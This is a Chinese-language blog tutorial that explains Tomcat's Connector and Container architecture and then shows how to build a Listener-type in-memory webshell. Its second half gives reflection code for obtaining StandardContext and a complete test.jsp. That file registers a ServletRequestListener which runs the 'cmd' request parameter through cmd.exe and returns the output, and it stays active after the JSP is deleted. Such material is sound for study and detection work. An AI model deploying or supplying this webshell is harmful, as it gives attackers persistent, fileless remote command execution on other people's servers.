Tomcat 記憶體馬(一)Listener型

洋洋的小黑屋發表於2021-11-05

一、Tomcat介紹

Tomcat的主要功能

tomcat作為一個 Web 伺服器,實現了兩個非常核心的功能:

  • Http 伺服器功能:進行 Socket 通訊(基於 TCP/IP),解析 HTTP 報文
  • Servlet 容器功能:載入和管理 Servlet,由 Servlet 具體負責處理 Request 請求
image-20211007190918695

以上兩個功能,分別對應著tomcat的兩個核心元件聯結器(Connector)和容器(Container),聯結器負責對外交流(完成 Http 伺服器功能),容器負責內部處理(完成 Servlet 容器功能)。

image-20211007191427074
  • Server
    Server 伺服器的意思,代表整個 tomcat 伺服器,一個 tomcat 只有一個 Server Server 中包含至少一個 Service 元件,用於提供具體服務。

  • Service
    服務是 Server 內部的元件,一個Server可以包括多個Service。它將若干個 Connector 元件繫結到一個 Container

  • Connector

    稱作聯結器,是 Service 的核心元件之一,一個 Service 可以有多個 Connector,主要連線客戶端請求,用於接受請求並將請求封裝成 Request 和 Response,然後交給 Container 進 行處理,Container 處理完之後在交給 Connector 返回給客戶端。

  • Container
    負責處理使用者的 servlet 請求

Connector聯結器

聯結器主要完成以下三個核心功能:

  • socket 通訊,也就是網路程式設計
  • 解析處理應用層協議,封裝成一個 Request 物件
  • 將 Request 轉換為 ServletRequest,將 Response 轉換為 ServletResponse

以上分別對應三個元件 EndPoint、Processor、Adapter 來完成。Endpoint 負責提供請求位元組流給Processor,Processor 負責提供 Tomcat 定義的 Request 物件給 Adapter,Adapter 負責提供標準的 ServletRequest 物件給 Servlet 容器。

image-20211007193016382

Container容器

Container元件又稱作Catalina,其是Tomcat的核心。在Container中,有4種容器,分別是Engine、Host、Context、Wrapper。這四種容器成套娃式的分層結構設計。

image-20211007193651356

四種容器的作用:

  • Engine
    表示整個 Catalina 的 Servlet 引擎,用來管理多個虛擬站點,一個 Service 最多隻能有一個 Engine,但是一個引擎可包含多個 Host
  • Host
    代表一個虛擬主機,或者說一個站點,可以給 Tomcat 配置多個虛擬主機地址,而一個虛擬主機下可包含多個 Context
  • Context
    表示一個 Web 應用程式,每一個Context都有唯一的path,一個Web應用可包含多個 Wrapper
  • Wrapper
    表示一個Servlet,負責管理整個 Servlet 的生命週期,包括裝載、初始化、資源回收等

如以下圖,a.com和b.com分別對應著兩個Host

image-20211007193847735

tomcat的結構圖:

image-20211007192234870

二、Listener記憶體馬

請求網站的時候, 程式先執行listener監聽器的內容:Listener -> Filter -> Servlet

image-20211007200844984

Listener是最先被載入的, 所以可以利用動態註冊惡意的Listener記憶體馬。而Listener分為以下幾種:

  • ServletContext,伺服器啟動和終止時觸發
  • Session,有關Session操作時觸發
  • Request,訪問服務時觸發

其中關於監聽Request物件的監聽器是最適合做記憶體馬的,只要訪問服務就能觸發操作。

ServletRequestListener介面

如果在Tomcat要引入listener,需要實現兩種介面,分別是LifecycleListener和原生EvenListener

實現了LifecycleListener介面的監聽器一般作用於tomcat初始化啟動階段,此時客戶端的請求還沒進入解析階段,不適合用於記憶體馬。

所以來看另一個EventListener介面,在Tomcat中,自定義了很多繼承於EventListener的介面,應用於各個物件的監聽。

image-20211007201719507

重點來看ServletRequestListener介面

image-20211007201800711

ServletRequestListener用於監聽ServletRequest物件的建立和銷燬,當我們訪問任意資源,無論是servlet、jsp還是靜態資源,都會觸發requestInitialized方法。

在這裡,通過一個demo來介紹下ServletRequestListener與其執行流程

配置tomcat原始碼除錯環境:https://zhuanlan.zhihu.com/p/35454131

寫一個繼承於ServletRequestListener介面的TestListener

public class TestListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("執行了TestListener requestDestroyed");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("執行了TestListener requestInitialized");
    }
}

在web.xml中配置:

    <listener>
        <listener-class>test.TestListener</listener-class>
    </listener>

訪問任意的路徑:http://127.0.0.1:8080/11

image-20211007203753325

可以看到控制檯列印了資訊,tomcat先執行了requestInitialized,然後再執行了requestDestroyed

image-20211007203825680

requestInitialized:在request物件建立時觸發

requestDestroyed:在request物件銷燬時觸發

StandardContext物件

StandardContext物件就是用來add惡意listener的地方

接以上環境,直接在requestInitialized處下斷點,訪問url後,顯示出整個呼叫鏈

image-20211007204506315

通過呼叫鏈發現,Tomcat在StandardHostValve中呼叫了我們定義的Listener

image-20211007204236921

跟進context.fireRequestInitEvent,在如圖紅框處呼叫了requestInitialized方法

image-20211007204703280

往上追蹤後發現,以上的listener是在StandardContext#getApplicationEventListeners方法中獲得的

image-20211007204842996

image-20211007210916415

StandardContext#addApplicationEventListener新增了listener

image-20211007211020621

這時候我們思路是,呼叫StandardContext#addApplicationEventListener方法,add我們自己寫的惡意listener

在jsp中如何獲得StandardContext物件

方式一:

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

方式二:

    WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

以下是網路上公開的記憶體馬:

test.jsp

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
    public class MyListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listenerDemo = new MyListener();
    context.addApplicationEventListener(listenerDemo);
%>

首先訪問上傳的test.jsp生成listener記憶體馬,之後即使test.jsp刪除,只要不重啟伺服器,記憶體馬就能存在。

image-20211007213837242

image-20211007213902413

相關文章